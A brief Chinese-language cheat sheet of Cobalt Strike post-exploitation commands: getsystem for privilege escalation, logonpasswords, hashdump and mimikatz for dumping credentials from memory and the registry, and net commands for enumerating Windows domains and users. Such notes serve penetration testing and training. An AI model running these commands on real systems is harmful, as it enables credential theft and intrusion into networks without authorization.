Cobalt Strike使用

資訊收集

getsystem
logonpasswords  抓取密碼
net view /domain  查詢域列表
net time /domain  判斷主域
net user /domain  查詢域內使用者

主機密碼抓取

hashdump 讀記憶體密碼：hashdump
mimikatz 讀登錄檔密碼：logonpasswords。